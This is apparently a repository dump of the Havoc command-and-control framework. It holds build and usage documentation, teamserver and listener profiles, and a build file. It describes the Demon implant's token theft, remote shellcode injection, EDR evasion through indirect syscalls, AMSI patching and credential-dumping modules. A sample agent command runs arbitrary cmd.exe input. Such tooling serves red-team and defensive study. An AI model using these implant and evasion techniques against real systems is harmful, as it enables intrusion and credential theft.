> You must enable Python 3.10 in your APT repositories before you can run the Client successfully.

```
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install python3.10 python3.10-dev
```

#### Debian 10/11

> You must setup the `bookworm` repo for Python 3.10.

```
echo 'deb http://ftp.de.debian.org/debian bookworm main' >> /etc/apt/sources.list
sudo apt update
sudo apt install python3-dev python3.10-dev libpython3.10 libpython3.10-dev python3.10
```

#### Arch-based Distros

```
sudo pacman -S git gcc base-devel cmake fontconfig glu gtest spdlog boost boost-libs ncurses gdbm openssl readline libffi sqlite bzip2 mesa qt5-base qt5-websockets python3 nasm mingw-w64-gcc
```

#### MacOS

> You must have [`homebrew`](https://brew.sh) installed.
```
brew install --cask cmake
brew install python@3.10 qt@5 spdlog golang
brew link --overwrite qt@5
```

### <a name="bclient"></a>Building the Client

Clone the repository:
```
git clone https://github.com/HavocFramework/Havoc.git
```

Build and Run:
```
# Build the client Binary (From Havoc Root Directory)
make client-build

# Run the client
./havoc client
```

> On macOS, run `brew unlink qt && brew link qt` after cmake build is done.

> On WSL navigate to https://learn.microsoft.com/en-us/windows/wsl/tutorials/gui-apps and download the needed driver for the GUI to launch.

### <a name="bteam"></a>Building the Teamserver

Install additional Go dependencies:
```
go mod download golang.org/x/sys  
go mod download github.com/ugorji/go
```

Build and Run:
```
# Install musl Compiler & Build Binary (From Havoc Root Directory)
make ts-build

# Run the teamserver
sudo ./havoc server --profile ./profiles/havoc.yaotl -v --debug
``` 

All files created during interaction with the Teamserver are stored within the `/Havoc/data/*` folder.


### <a name="idc"></a> Docker

Build the Dockerfile with Jenkins:
`sudo docker build -t havoc-client -f Client-Dockerfile .`

Create data volume for persistence (optional):
`sudo docker volume create havoc-c2-client`

Run the container:
`sudo docker run -p 443:443 -p 40056:40056 -it -d -v havoc-c2-client:/data havoc-client`

Enter the container and run the Client:
- NOT COMPLETE

### <a name="ijd"></a> Jenkins Docker Build

Build the Dockerfile with Jenkins:
`sudo docker build -f JC-Dockerfile .`

Run the container:
`sudo docker run -p8080:8080 -it -d -v havoc-c2-data:/data havoc-client`

Visit Jenkins at `localhost:8080` and create a pipeline to build the Havoc Teamserver.
- See `Havoc-Teamserver.groovy` in the `assets` folder.


### <a name="aquick"></a> Creating a Listener, and Spawning an Agent
This part assumes you have a Teamserver running, with a Teamserver-client connected to the running instance.
- Creating a Listener:
    1. To create a new listener, we must first open the `Listeners` subwindow.
        * To do this, in the upper left hand corner, click on the `View` button, and then on the `Listeners` button in the drop down menu.
        * ![Listeners-select](./assets/Screenshots/Listeners-select.png)    
    2. You should see a new sub window in the bottom of the server window, with the title of `Listeners` on the header tab.
    3. You should also now see three(3) buttons on the bottom of the server window, `Add`, `Remove` and `Edit`.
        * ![Listeners-Add-select](./assets/Screenshots/Listeners-Add-New-Remove.png)
    4. We want to click the `Add` button.
    5. Once we click the `Add` button, you should see a new window come up, with the title of `Create Listener`.
        * ![Listeners-New](./assets/Screenshots/Listener-new.png)
    6. We will want to fill out the appropriate information for each field in the `Create Listener` window.
    7. After entering the appropriate information into each field, then click the `Save` button.
    8. The window will close, and you will now see a new line in the `Listeners` sub-window.
        * ![Listener-created](./assets/Screenshots/Listener-created.png)
    9. We now have an active Listener, and are ready to receive an incoming agent's communications!
- Spawning an Agent:
    1. To create an Agent Payload, we must first open the `Payload` window.
        * We can do so by going up to the upper left hand corner, and clicking on the `Attack` button. 
    2. Doing so, we see the `Payload` button appear in the drop down menu. We want to then click on it.
        * ![Agent-select](./assets/Screenshots/Agent-select.png)
    3. This will open the `Payload` window, where we may then configure the various options for generating our payload.
        * ![Agent-creation](./assets/Screenshots/Agent-create.png)
    4. Once we have selected the appropriate options, we then click on the `Generate` button.
    5. It might take a little bit for the compilation to take place. Once it has completed, it will prompt you as to where to save the resulting file output.
    6. After selecting where to save the file, you will now have a generated agent ready for execution or injection!


---

## <a name="teamserver"></a>Teamserver

The Havoc Teamserver is written in Golang. It handles the listeners, teamserver authentication and payload generation. It also supports ExternalC2 functionality through the configuration of Service endpoints.

### <a name="stt"></a> Starting the Teamserver

Running `./teamserver server --profile ./profiles/havoc.yaotl -v --debug` will launch the built Teamserver with verbosity and debugging enabled.

Data collected by the Teamserver is stored in the `/Havoc/data/*` directory.

### <a name="targ"></a>Arguments

Usage: `teamserver [command] [flags]`

Here is a full list of arguments that can be passed to the teamserver:

| Command  | Flag | Description | Args |
| -------- | ---- | ----------- | ----- |
| `server` |`--profile` | The configuration profile to load at start | Teamserver profile path (`string`) |
|  | `-v` / `--verbose` | Enable verbose output | |
|  | `-d` / `--debug` | Enable debug output | |
|  | `-h` / `--help` | Output server help | |
|  | `--debug-dev` | Enables DEBUG output (see below for caveats) | |

#### Enabling DEBUG Output

> DEBUG output can be enabled by passing the `--debug-dev` flag to the Teamserver.

When this flag is set, the Teamserver's `builder` class adds the `-D DEBUG` flag to the `builder.compilerOptions.CFlags` array and removes the `-nostdlib` flag to enable output to be printed to the console. Demon agent payloads generated from the Havoc client will print visible DEBUG text in the console window after execution. The stdlib will be linked into the payload for this to occur, increasing the payload size.

### <a name="tprofiles"></a>Profiles

Havoc's Teamserver uses profiles in the `yaotl` format, which is a custom configuration syntax built on top of [HCL](https://github.com/hashicorp/hcl).

Profiles are located at: `Havoc/Teamserver/profiles` and can be passed to the `teamserver` with the `--profile <path-to-profile` flag.

The default example profile can be found at `Havoc/Teamserver/profiles/havoc_default.yaotl`.


#### <a name="pteam"></a>Teamserver
The teamserver can be configured to listen on a specific bind address and port with the following directive:

```hcl
Teamserver { 
    Host = "0.0.0.0"
    Port = 40056
}
```

- `Host` - The bind address used by the teamserver to accept Client connections.
- `Port` - The port the teamserver listens on for Client connections.

#### <a name="pops"></a>Operators

Multiple users can be added to the Teamserver with the Operators directive:

```hcl
Operators {
    user "5pider" {
        Password = "password1234"
    }

    user "Neo" {
        Password = "password1234"
    }
}
```

#### <a name="pdemon"></a>Demon

The primary Demon agent accepts a number of configuration options such as:

```hcl
Demon {
    Sleep   = 2
    Jitter  = 20

    TrustXForwardedFor = false

    Implant {
        SleepMask = 1
        SleepMaskTechnique = 0
    }

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}
```

- `Sleep` - The default interval to sleep between check-ins for commands.
- `Jitter` - The amount of jitter to be applied to sleep intervals (in percentage).

- `TrustXForwardedFor` - If true, the public IP of every agent will be set to the value of the X-Forwarded-For header. Only enable if the teamserver is behind a redirector

- `Implant\SleepMask` - Enables the Sleep Mask obfuscation
- `Implant\SleepMaskTechnique` - Chose from a variety of built-in sleep mask techniques:
    - `0` - [WaitForSingleObjectEx](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobjectex) (no obfuscation)
    - `1` - [FOLIAGE](https://github.com/SecIdiot/FOLIAGE)
    - `2` - [Ekko](https://github.com/Cracked5pider/Ekko)

- `Injection\Spawn64` - The full path to the process to spawn into for fork & run operations (64bit).
- `Injection\Spawn32` - The full path to the process to spawn into for fork & run operations (32bit).

#### <a name="plisten"></a>Listeners

> Currently, only HTTP/HTTPS listeners are supported.

Havoc supports multiple listener profiles and a variety of configuration options to help customize them.

```hcl
Listeners {
    Http {
        Name         = "HTTPS Listener"
        KillDate     = "2006-01-02 15:04:05"
        WorkingHours = "8:00-17:00"
        Hosts        = ["10.0.0.10"]
        PortBind     = 443
        PortConn     = 443
        Method       = "POST"
        Secure       = true
        UserAgent    = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
        Uris         = [
            "/funny_cat.gif",
            "/index.php",
            "/test.txt",
            "/helloworld.js"
        ]
        Headers      = [
            "X-Havoc: true",
            "X-Havoc-Agent: Demon",
        ]

        Response {
            Headers  = [
                "Content-type: text/plain",
                "X-IsHavocFramework: true",
            ]
        }

    }
}
```

- `Name` - Name of the listener
- `KillDate` - (Optional) Date in which the Demon will terminate itself in UTC
- `WorkingHours` - (Optional) The hours in which Demon will check in
- `Hosts` - The list of domains that Demon will use to reach the teamserver
- `PortBind` - Port that the teamserver will bind to
- `PortConn` - Port used by Demon to access the teamserver, if not set, PortBind is used
- `Method` - Method to use while checking in (GET or POST)
- `Secure` - true for HTTPS, false for HTTP
- `UserAgent` - The User Agent that Demon will use
- `Uris` - The paths that Demon will use. If more than one is provided, Demon chooses one at random each time
- `Headers` - Request headers that Demon will include in all requests
- `Response-Headers` - Response headers that the server will include in all responses

---

## <a name="client"></a>Client

The Havoc Client is written in C++ and Qt.

### <a name="cstc"></a>Starting the Client

```
cd Havoc
./havoc client
```
Running `./havoc client` will start the Client.


### <a name="cctt"></a>Connecting to the Teamserver

When the client opens, you will be presented with a profile window similar to that in other C2 frameworks like Cobalt Strike. 

![teamserver-client](./assets/Screenshots/Teamserver-Client-Fresh.png)

Enter the profile name, teamserver bind address (`Host`) and `Port`, along with your defined username/password in the teamserver profile. 
Then hit 'Connect' to connect your configured teamserver.

![teamserver-and-client](./assets/Screenshots/Teamserver-LoggedIn.png)



---

## <a name="agents"></a>Agents

### <a name="ademon"></a>Demon

Demon is the primary Havoc agent, written in C/ASM. The source-code is located at `Havoc/payloads/Demon`.

#### <a name="adgen"></a>Generating a Demon Payload

> Currently, only x64 EXE/DLL formats are supported.

From the Havoc UI, nagivate to `Attack -> Payload`. 

#### <a name="adlay"></a>Layout

| Directory       | Description                                           |
| --------------- | ----------------------------------------------------- |
| `Source/Asm`    | Assembly code (return address stack spoofing)         |
| `Source/Core`   | Core functionality (transport, win32 apis, syscalls)  |
| `Source/Crypt`  | AES encryption functionality                          |
| `Source/Extra`  | KaynLdr (reflective loader)                           |
| `Source/Inject` | Injection functionality                               |
| `Source/Loader` | COFF Loader, Beacon API                               |
| `Source/Main`   | PE/DLL/RDLL Entry Points                              |

#### <a name="adft"></a> Features

##### Indirect Syscalls

When compiled with `OBF_SYSCALL`, Demon performs indirect syscalls for many Nt* APIs. By masquerading the `RIP` to point to a location within `ntdll.dll`, traps placed by EDR solutions (such as process instrumentation callbacks or other forms of sycall tracing)may be evaded. 

The Syscall logic is primarily contained within `/Teamserver/data/implants/Demon/Source/Core/Syscalls.c`

Syscall stubs are dynamically crafted from ntdll.dll on disk and modified so the return address points to `NtAddBootEntry (0x180024b6)` within the ntdll.dll module.

#### <a name="adcmds"></a>Commands

Demon has a variety of commands built-in. It also supports the dynamic modification of configuration at runtime, allowing operators to customize defaults pre-set in the profiles throughout an engagement, without modifying the profile and re-generating a payload.

Full documentation on commands can be accessed from the Havoc client by typing `help` in the interact window. For more information on a particular command, simply tack it on the end of help like so: `help [command]`

##### `checkin`

Requests a checkin request from the Demon. This will output some basic system/configuration information to the Havoc client such as:

- Demon Metadata
    - Magic values
    - First/Last call in timestamps
    - AES Key and IV
    - Sleep Delay
- Host Information
    - Hostname
    - Username
    - Domain Name
    - Internal IP(s)
- Process Information
    - Name
    - Architecture
    - PID
    - Path
    - Elevated
- Operating System
    - Version
    - Build
    - Architecture

##### `sleep`

Demon supports sleeping at a specified delay (seconds) with a randomized jitter amount applied in the profile configuration settings.

`sleep [delay]`

When the Demon sleeps, it first checks if Sleep Masking is enabled in the profile configuration. If so, as long as there are no active job threads running, it will begin to apply the specified sleep obfuscation method and wait until the provided delay to "wake up" and check-in to the teamserver again.

During sleep, x64 demons may implement [return address spoofing](https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html) to hide the real return address.

##### `job`

Demon implements a multi-threaded job management system that allows the operator to manage long-running tasks. 

> OPSEC NOTE: Long-running jobs will PREVENT sleep obfuscation from occurring at the specified sleep interval due to the other threads running. Sleep obfuscation will only occur when there are no job threads in a running state.

- `job list` - Lists all running jobs.
- `job suspend 1` - Suspends a job with the ID of 1
- `job resume 1` - Resumes a job with the ID of 1
- `job kill 1` - Kills a job with the ID of 1

##### `proc`

Process management and enumeration system.

`proc [command]`

- `proc list` - Display a list of running processes on the target.
- `proc kill [pid]` - Kills a process with the specified PID
- `proc create [state] [process] (args)` Start a process either in suspended or normal mode.
- `proc module [pid]` lists loaded modules from the specified process. 
- `proc grep [process name]` searches for specified running process and shows Process Name, Process ID, Process Parent PID, Process User, Process Arch
- `proc memory [pid] [memory protection]` queries process memory pages with specified Protection. 


##### `token`

Demon implements a token management vault that allows for token theft, impersonation and privilege modification. All tokens are preserved within a token vault, allowing the operator to list and impersonate any stolen token when convenient.

> Tokens are duplicated using `SecurityIdentification` and `SecurityImpersonate` privileges, allowing `OpenThreadToken` to work on impersonated UIDs with OpenAsSelf set to TRUE.

- `token getuid` - Prints the current user id from the token
- `token list` - List all stolen tokens in the token vault
- `token find-tokens` - Find all tokens that can be stolen on the system
- `token steal [pid] (handle)` - Steal the token from the specified PID and save it to the token vault
- `token impersonate [id]` - Impersonate a token from the token vault
- `token make [domain] [username] [password]` - Creates a token from the specified credentials and adds it to the vault
- `token privs-get` - Attempt to acquire all privileges from the current token
- `token privs-list` - List all privileges from the current token
- `token revert` - Reverts back to the default process token
- `token remove [id]` - Removes a token from the vault
- `token clear` - Removes all tokens from the vault.

##### `shellcode`

Demon is capable of injecting shellcode (supplied in raw format as a path) into remote processes using process injection or fork & run. Depending on the technique, operators can chose to use higher-level Win32 APIs or NT versions using indirect syscalls.

- `shellcode inject x64 [pid] [path-to-raw-shellcode]` - Injects shellcode into the remote process
- `shellcode spawn x64 [path-to-raw-shellcode]` - Launches the defined fork & run process and injects the shellcode

> OPSEC NOTE: Depending on your injection technique and configuration settings, certain API calls may be performed outside of indirect syscalls. 

Here is a high-level overview of each supported process injection technique:

> `*` means the API call is performed with indirect syscalls

**`INJECTION_TECHNIQUE_SYSCALL`**
1. `CreateProcessA`
2. Allocate Memory
    - `DX_MEM_WIN32 -> VirtualAllocEx`
    - `DX_MEM_SYSCALL -> NtAllocateVirtualMemory*`
3. `NtWriteVirtualMemory*`
4. `NtProtectVirtualMemory*`
5. Create Thread 
    - `DX_THREAD_WIN32 -> CreateRemoteThread`
    - `DX_THREAD_SYSCALL -> NtCreateThreadEx*`
6. `NtResumeThread*`

##### `dotnet`

- `dotnet list-versions` - Lists all of the installed dotnet versions
- `dotnet inline-execute [path-to-assembly] [args]` - Executes the dotnet assembly inside of the current process and returns output

> OPSEC NOTE: Calling `inline-execute` creates an instance of the CLR (Common Language Runtime) within the demon's process to execute dotnet assemblies. This is an irreversible procedure and may provide more IoCs to defenders.

The `inline-execute` works by first creating an instance of the CLR (Common Language Runtime) within the current Demon process. After the CLR is created, `amsi.dll` is loaded and patched in-memory to bypass AMSI scanning. Demon then creates an AppDomain and loads the assembly into memory, finding the entry point and passing the commandline args supplied by the user before invoking the method. Output from the assembly is captured and returned to the teamserver.


(INCOMPLETE)

---

## <a name="extc2"></a>ExternalC2

Havoc supports custom agents and ExternalC2 by using Teamserver service endpoints. These are configured using `Service` directives (see the Teamserver Profiles documentation).

The Service module is for interacting with external services (custom agents, ExternalC2, etc). 

By registering a Service directive, the Teamserver will automatically spawn a service listener that can route commands to/from the Teamserver.

```hcl
Service {
    Endpoint = "service-endpoint"
    Password = "service-password"
}
```

This would create a service endpoint at `<teamserver-host>:<teamserver-port>/service-endpoint` that is authenticated with `service-password`. 


## <a name="ca"></a>Custom Agents

Using Havoc's Service API, custom, third-party agents can be written to interact with the teamserver using the intermediate Python API.

An example of a third-party agent is provided here: [https://github.com/HavocFramework/Talon](https://github.com/HavocFramework/Talon)

`Talon.py` connects to the Teamserver over the `Endpoint` defined in the `Service` directive of the teamserver profile.

```python
from havoc.service import HavocService
from havoc.agent import *

class MyCustomAgent(AgentType):
    # ...
    pass

agent = MyCustomAgent()

havoc_service = HavocService(
    endpoint="ws://0.0.0.0:40056/service-endpoint",
    password="service-password"
)

havoc_service.register_agent(agent)
```

Custom commands can be defined using the Python API and extending the Command class:

```python
class CommandShell(Command):
    CommandId = COMMAND_SHELL
    Name = "shell"
    Description = "executes commands using cmd.exe"
    Help = ""
    NeedAdmin = False
    Params = [
        CommandParam(
            name="commands",
            is_file_path=False,
            is_optional=False
        )
    ]
    Mitr = []

    def job_generate( self, arguments: dict ) -> bytes:        
        Task = Packer()

        Task.add_int( self.CommandId )
        Task.add_data( "c:\windows\system32\cmd.exe /c " + arguments[ 'commands' ] )

        return Task.buffer
```

---

## <a name="pyapi"></a>Python API


[https://github.com/HavocFramework/havoc-py](https://github.com/HavocFramework/havoc-py)

---

## <a name="modules"></a>Modules

Aside from Havoc's built-in commands, Modules can be loaded into the framework to add more functionality.

An example of some of Havoc's official modules can be found at this repository:

[https://github.com/HavocFramework/Modules](https://github.com/HavocFramework/Modules)


Module Template: [https://github.com/HavocFramework/Modules/tree/main/Template](https://github.com/HavocFramework/Modules/tree/main/Template)


Official Modules:
- Powerpick
    - Executes unmanaged PowerShell commands by loading the CLR runtime (`4.0.30319`) into the designated fork & run process.
- InvokeAssembly
    - Executes a dotnet assembly into a separate process by bootsrapping the CLR into the designated fork & run process and passing the arguments.
    - The dotnet version can be specified in the arguments (`v4.0.30319` is default), as well as the AppDomain name (`DefaultAppDomain` is default).


---

## <a name="faq"></a>FAQ

### Why does Havoc not perform sleep obfuscation when jobs are running?
Jobs are ran in their own threads, and sleep obfuscation requires that all threads are suspended in order to encrypt the heap, otherwise the process would crash. 

---



================================================
FILE: assets/Havoc-Client.groovy
================================================
pipeline {
    agent any

    environment {
        TEST="ENV vars go here"
        TOOLNAME="HavocFramework"
    }

    stages{
        stage('Cleanup'){
            steps{
                deleteDir()
                dir("${TOOLNAME}"){
                      deleteDir()
                }
            }
        }

//Local
//        stage('Add-Havoc'){
//                steps{
//                        sh "pwd && ls"
//                        sh "cp -R /Build/* ${WORKSPACE}/"
//                }
//        }

//Remote
      stage('Git Havoc'){
              steps{
                        sh 'git clone --single-branch --branch main https://github.com/HavocFramework/Havoc.git'
                }
        }

        stage('Build-1-make clean'){
                steps{
                        sh "cd ./Havoc/Client/ && make clean"
                }
        }

        stage('Build-2-make build dir'){
                steps{
                        sh "mkdir cd ./Havoc/Client/Build && cd ./Havoc/Client/Build && cmake .."
                }
        }
        stage('Build-3-make Build'){
                steps{
                        sh "cd ./Havoc/Client/ && cmake --build Build"
                }
        }

        stage('Sanity-Check'){
                steps{
                        sh 'file ./Havoc/Client/Havoc'
                }
        }

    }
}



================================================
FILE: assets/Havoc-Teamserver.groovy
================================================
pipeline {
    agent any

    environment {
        TEST="ENV vars go here"
        TOOLNAME="HavocFramework"
    }

    stages{
        stage('Cleanup'){
            steps{
                deleteDir()
                dir("${TOOLNAME}"){
                      deleteDir()
                }
            }
        }

//Local
//        stage('Add-Havoc'){
//                steps{
//                      sh "pwd && ls"
//                      sh "cp -R /Build/* ${WORKSPACE}/"
//                }
//        }

//Remote
        stage('Git Havoc'){
                steps{
                        sh 'git clone --single-branch --branch main https://github.com/HavocFramework/Havoc.git'
                }
        }

        stage('Install-MUSL C compiler'){
                steps{
                        sh "pwd && ls"
                        sh "cd ./Havoc/Teamserver/ && chmod +x ./Install.sh && ./Install.sh"
                }
        }

        stage('Build'){
                steps{
                        sh "pwd && ls"
                        sh "cd ./Havoc/Teamserver/ && make"
                }
        }

        stage('Sanity-Check'){
                steps{
                        sh 'file ./Havoc/Teamserver/teamserver'
                }
        }

    }
}


================================================
FILE: client/CMakeLists.txt
================================================
cmake_minimum_required( VERSION 3.15 )
project( Havoc )

##
## cmake sets
##
set( QT_VERSION 5 )
set( CMAKE_CXX_STANDARD 20 )
set( CMAKE_AUTOMOC ON )
set( CMAKE_AUTORCC ON )
set( CMAKE_AUTOUIC ON )
set( CMAKE_CPP_COMPILER /usr/bin/x86_64-w64-mingw32-g++ )
set( CMAKE_C_COMPILER /usr/bin/x86_64-w64-mingw32-gcc )
set( CMAKE_CXX_FLAGS "-fpermissive" )
set( REQUIRED_LIBS Core Gui Widgets Network WebSockets Sql )
set( REQUIRED_LIBS_QUALIFIED Qt5::Core Qt5::Gui Qt5::Widgets Qt5::Network Qt5::WebSockets Qt5::Sql )
set( APP_ICON_RESOURCE_WINDOWS "data/Havoc.qrc" )
set( CMAKE_RUNTIME_OUTPUT_DIRECTORY .. )
set( CMAKE_INCLUDE_CURRENT_DIR ON )

##
## Ensure 3.10 is used if present.
## If not, modules will not work within the client.
##
set( Python_ADDITIONAL_VERSIONS 3.10 )

##
## import includes and external libraries
##
include_directories( include  )
include_directories( external/spdlog/include )
include_directories( external/json/include )
include_directories( external/toml )

##
## find qt packages
##
find_package( Qt${QT_VERSION} COMPONENTS ${REQUIRED_LIBS} REQUIRED )

##
## apple support
##
if(APPLE)
  find_package( Python 3 COMPONENTS Interpreter Development REQUIRED )
  set( PYTHON_MAJOR $ENV{Python_VERSION_MAJOR} )
  set( PYTHON_MINOR $ENV{Python_VERSION_MINOR} )
  set( PYTHONLIBS_VERSION_STRING ${Python_VERSION} )
  set( PYTHON_INCLUDE_DIR ${Python_INCLUDE_DIRS} )
  set( PYTHON_LIBRARIES ${Python_LIBRARIES} )
  message( "Apple - Using Python:${Python_VERSION_MAJOR} - Libraries:${PYTHON_LIBRARIES} - includeDirs: ${PYTHON_INCLUDE_DIR}" )
elseif(UNIX)
  find_package( PythonLibs 3 REQUIRED )
else()
  set( PYTHONLIBS_VERSION_STRING $ENV{PY_VERSION} )
endif()



if(APPLE)
    execute_process( COMMAND brew --prefix OUTPUT_VARIABLE BREW_PREFIX ) #this because brew install location differs Intel/Apple Silicon macs
    string( STRIP ${BREW_PREFIX} BREW_PREFIX ) #for some reason this happens: https://gitlab.kitware.com/cmake/cmake/-/issues/22404
    include_directories( "${BREW_PREFIX}/bin/python3.10" )
    include_directories( "${BREW_PREFIX}/Frameworks/Python.framework/Headers" )
elseif(UNIX)
    include_directories( ${PYTHON_INCLUDE_DIRS} )
endif()

set( HAVOC_INCLUDE

        # Misc
        include/Havoc/Connector.hpp
        include/Havoc/DBManager/DBManager.hpp
        include/Havoc/DemonCmdDispatch.h
        include/Havoc/Packager.hpp
        include/Havoc/Havoc.hpp
        include/Havoc/Service.hpp
        include/Havoc/CmdLine.hpp

        # Python Api
        include/Havoc/PythonApi/PythonApi.h
        include/Havoc/PythonApi/Event.h
        include/Havoc/PythonApi/HavocUi.h
        include/Havoc/PythonApi/PyAgentClass.hpp
        include/Havoc/PythonApi/UI/PyDialogClass.hpp
        include/Havoc/PythonApi/UI/PyLoggerClass.hpp
        include/Havoc/PythonApi/UI/PyTreeClass.hpp
        include/Havoc/PythonApi/UI/PyWidgetClass.hpp

        # Dialogs
        include/UserInterface/Dialogs/Payload.hpp
        include/UserInterface/Dialogs/About.hpp
        include/UserInterface/Dialogs/Connect.hpp
        include/UserInterface/Dialogs/Listener.hpp

        # small widgets
        include/UserInterface/SmallWidgets/EventViewer.hpp
        include/UserInterface/SmallWidgets/EventViewer.hpp

        # widgets
        include/UserInterface/Widgets/Chat.hpp
        include/UserInterface/Widgets/DemonInteracted.h
        include/UserInterface/Widgets/ListenerTable.hpp
        include/UserInterface/Widgets/ProcessList.hpp
        include/UserInterface/Widgets/PythonScript.hpp
        include/UserInterface/Widgets/SessionTable.hpp
        include/UserInterface/Widgets/SessionGraph.hpp
        include/UserInterface/Widgets/TeamserverTabSession.h
        include/UserInterface/Widgets/ScriptManager.h
        include/UserInterface/Widgets/LootWidget.h
        include/UserInterface/Widgets/FileBrowser.hpp
        include/UserInterface/Widgets/Teamserver.hpp
        include/UserInterface/Widgets/Store.hpp

        include/UserInterface/HavocUI.hpp
)

# src for UI
set(
        HAVOC_UI

        src/UserInterface/HavocUi.cc
        src/global.cc

        # Dialogs
        src/UserInterface/Dialogs/About.cc
        src/UserInterface/Dialogs/Connect.cc
        src/UserInterface/Dialogs/Listener.cc
        src/UserInterface/Dialogs/Payload.cc

        # Widgets
        src/UserInterface/Widgets/SessionTable.cc
        src/UserInterface/Widgets/SessionGraph.cc
        src/UserInterface/Widgets/Chat.cc
        src/UserInterface/Widgets/ListenersTable.cc
        src/UserInterface/Widgets/DemonInteracted.cc
        src/UserInterface/Widgets/TeamserverTabSession.cc
        src/UserInterface/Widgets/PythonScript.cc
        src/UserInterface/Widgets/ScriptManager.cc
        src/UserInterface/Widgets/LootWidget.cc
        src/UserInterface/Widgets/FileBrowser.cc
        src/UserInterface/Widgets/Teamserver.cc
        src/UserInterface/Widgets/Store.cc
        src/UserInterface/Widgets/ProcessList.cc

        # SmallWidgets
        src/UserInterface/SmallWidgets/EventViewer.cc
)

set(
        HAVOC_UTIL

        src/Util/ColorText.cpp
        src/Util/Base64.cpp
        src/Util/Base.cpp
)

# src for Havoc
set( HAVOC_SOURCE
        src/Main.cc

        src/Havoc/Packager.cc
        src/Havoc/Connector.cc
        src/Havoc/Service.cc

        src/Havoc/DBManger/DBManager.cc
        src/Havoc/DBManger/Teamserver.cc
        src/Havoc/DBManger/Scripts.cc

        src/Havoc/Demon/ConsoleInput.cc
        src/Havoc/Demon/CommandSend.cc
        src/Havoc/Demon/CommandOutput.cc
        src/Havoc/Demon/Commands.cc

        src/Havoc/PythonApi/PythonApi.cc
        src/Havoc/PythonApi/Havoc.cc
        src/Havoc/PythonApi/HavocUi.cc
        src/Havoc/PythonApi/UI/PyDialogClass.cc
        src/Havoc/PythonApi/UI/PyLoggerClass.cc
        src/Havoc/PythonApi/UI/PyTreeClass.cc
        src/Havoc/PythonApi/UI/PyWidgetClass.cc
        src/Havoc/PythonApi/PyDemonClass.cc
        src/Havoc/PythonApi/Event.cc
        src/Havoc/PythonApi/PyAgentClass.cc

        src/Havoc/Havoc.cc

    ${HAVOC_UI}
)

add_executable( ${PROJECT_NAME} ${HAVOC_INCLUDE} ${HAVOC_SOURCE} ${HAVOC_UTIL} ${APP_ICON_RESOURCE_WINDOWS} data/Havoc.rc )
add_definitions( -DQT_NO_DEBUG_OUTPUT )

target_link_libraries(
    ${PROJECT_NAME}
    ${REQUIRED_LIBS_QUALIFIED}
    ${PYTHON_LIBRARIES}
    # spdlog::spdlog
    # spdlog::spdlog_header_only
)


================================================
FILE: client/README.md
================================================
# Havoc Teamserver Client

Havoc Gui Client source code.

================================================
FILE: client/config.toml
================================================
[font]
size   = 9
family = "Monospace"

[scripts]
files = [
  "client/Modules/Packer/packer.py",
  "client/Modules/InvokeAssembly/invokeassembly.py",
  "client/Modules/PowerPick/powerpick.py",
  "client/Modules/SituationalAwareness/SituationalAwareness.py",
  "client/Modules/Delegation/delegation.py",
  "client/Modules/RemoteOps/RemoteOps.py",
  "client/Modules/Domaininfo/Domaininfo.py",
  "client/Modules/Jump-exec/ScShell/scshell.py",
  "client/Modules/Jump-exec/Psexec/psexec.py",
  "client/Modules/Jump-exec/WMI/wmi.py",
  "client/Modules/nanodump/nanodump.py",
  "client/Modules/nanorobeus/nanorobeus.py",
  "client/Modules/Bofbelt/bofbelt.py",
  "client/Modules/SamDump/samdump.py",
  "client/Modules/NoConsolation/no-consolation.py"
]


================================================
FILE: client/include/External.h
================================================
#ifndef HAVOC_EXTERNAL_H
#define HAVOC_EXTERNAL_H

#include <nlohmann/json.hpp>
#include <spdlog/spdlog.h>
#include <toml.hpp>

using json = nlohmann::json;

#endif //HAVOC_EXTERNAL_H


================================================
FILE: client/include/Havoc/CmdLine.hpp
================================================
/*
  Copyright (c) 2009, Hideyuki Tanaka
  All rights reserved.
  Redistribution and use in source and binary forms, with or without
  modification, are permitted provided that the following conditions are met:
  * Redistributions of source code must retain the above copyright
  notice, this list of conditions and the following disclaimer.
  * Redistributions in binary form must reproduce the above copyright
  notice, this list of conditions and the following disclaimer in the
  documentation and/or other materials provided with the distribution.
  * Neither the name of the <organization> nor the
  names of its contributors may be used to endorse or promote products
  derived from this software without specific prior written permission.
  THIS SOFTWARE IS PROVIDED BY <copyright holder> ''AS IS'' AND ANY
  EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  DISCLAIMED. IN NO EVENT SHALL <copyright holder> BE LIABLE FOR ANY
  DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
  (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
  ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

#pragma once

#include <iostream>
#include <sstream>
#include <vector>
#include <map>
#include <string>
#include <stdexcept>
#include <typeinfo>
#include <cstring>
#include <algorithm>
#include <cxxabi.h>
#include <cstdlib>

namespace cmdline{

    namespace detail{

        template <typename Target, typename Source, bool Same>
        class lexical_cast_t{
        public:
            static Target cast(const Source &arg){
                Target ret;
                std::stringstream ss;
                if (!(ss<<arg && ss>>ret && ss.eof()))
                    throw std::bad_cast();

                return ret;
            }
        };

        template <typename Target, typename Source>
        class lexical_cast_t<Target, Source, true>{
        public:
            static Target cast(const Source &arg){
                return arg;
            }
        };

        template <typename Source>
        class lexical_cast_t<std::string, Source, false>{
        public:
            static std::string cast(const Source &arg){
                std::ostringstream ss;
                ss<<arg;
                return ss.str();
            }
        };

        template <typename Target>
        class lexical_cast_t<Target, std::string, false>{
        public:
            static Target cast(const std::string &arg){
                Target ret;
                std::istringstream ss(arg);
                if (!(ss>>ret && ss.eof()))
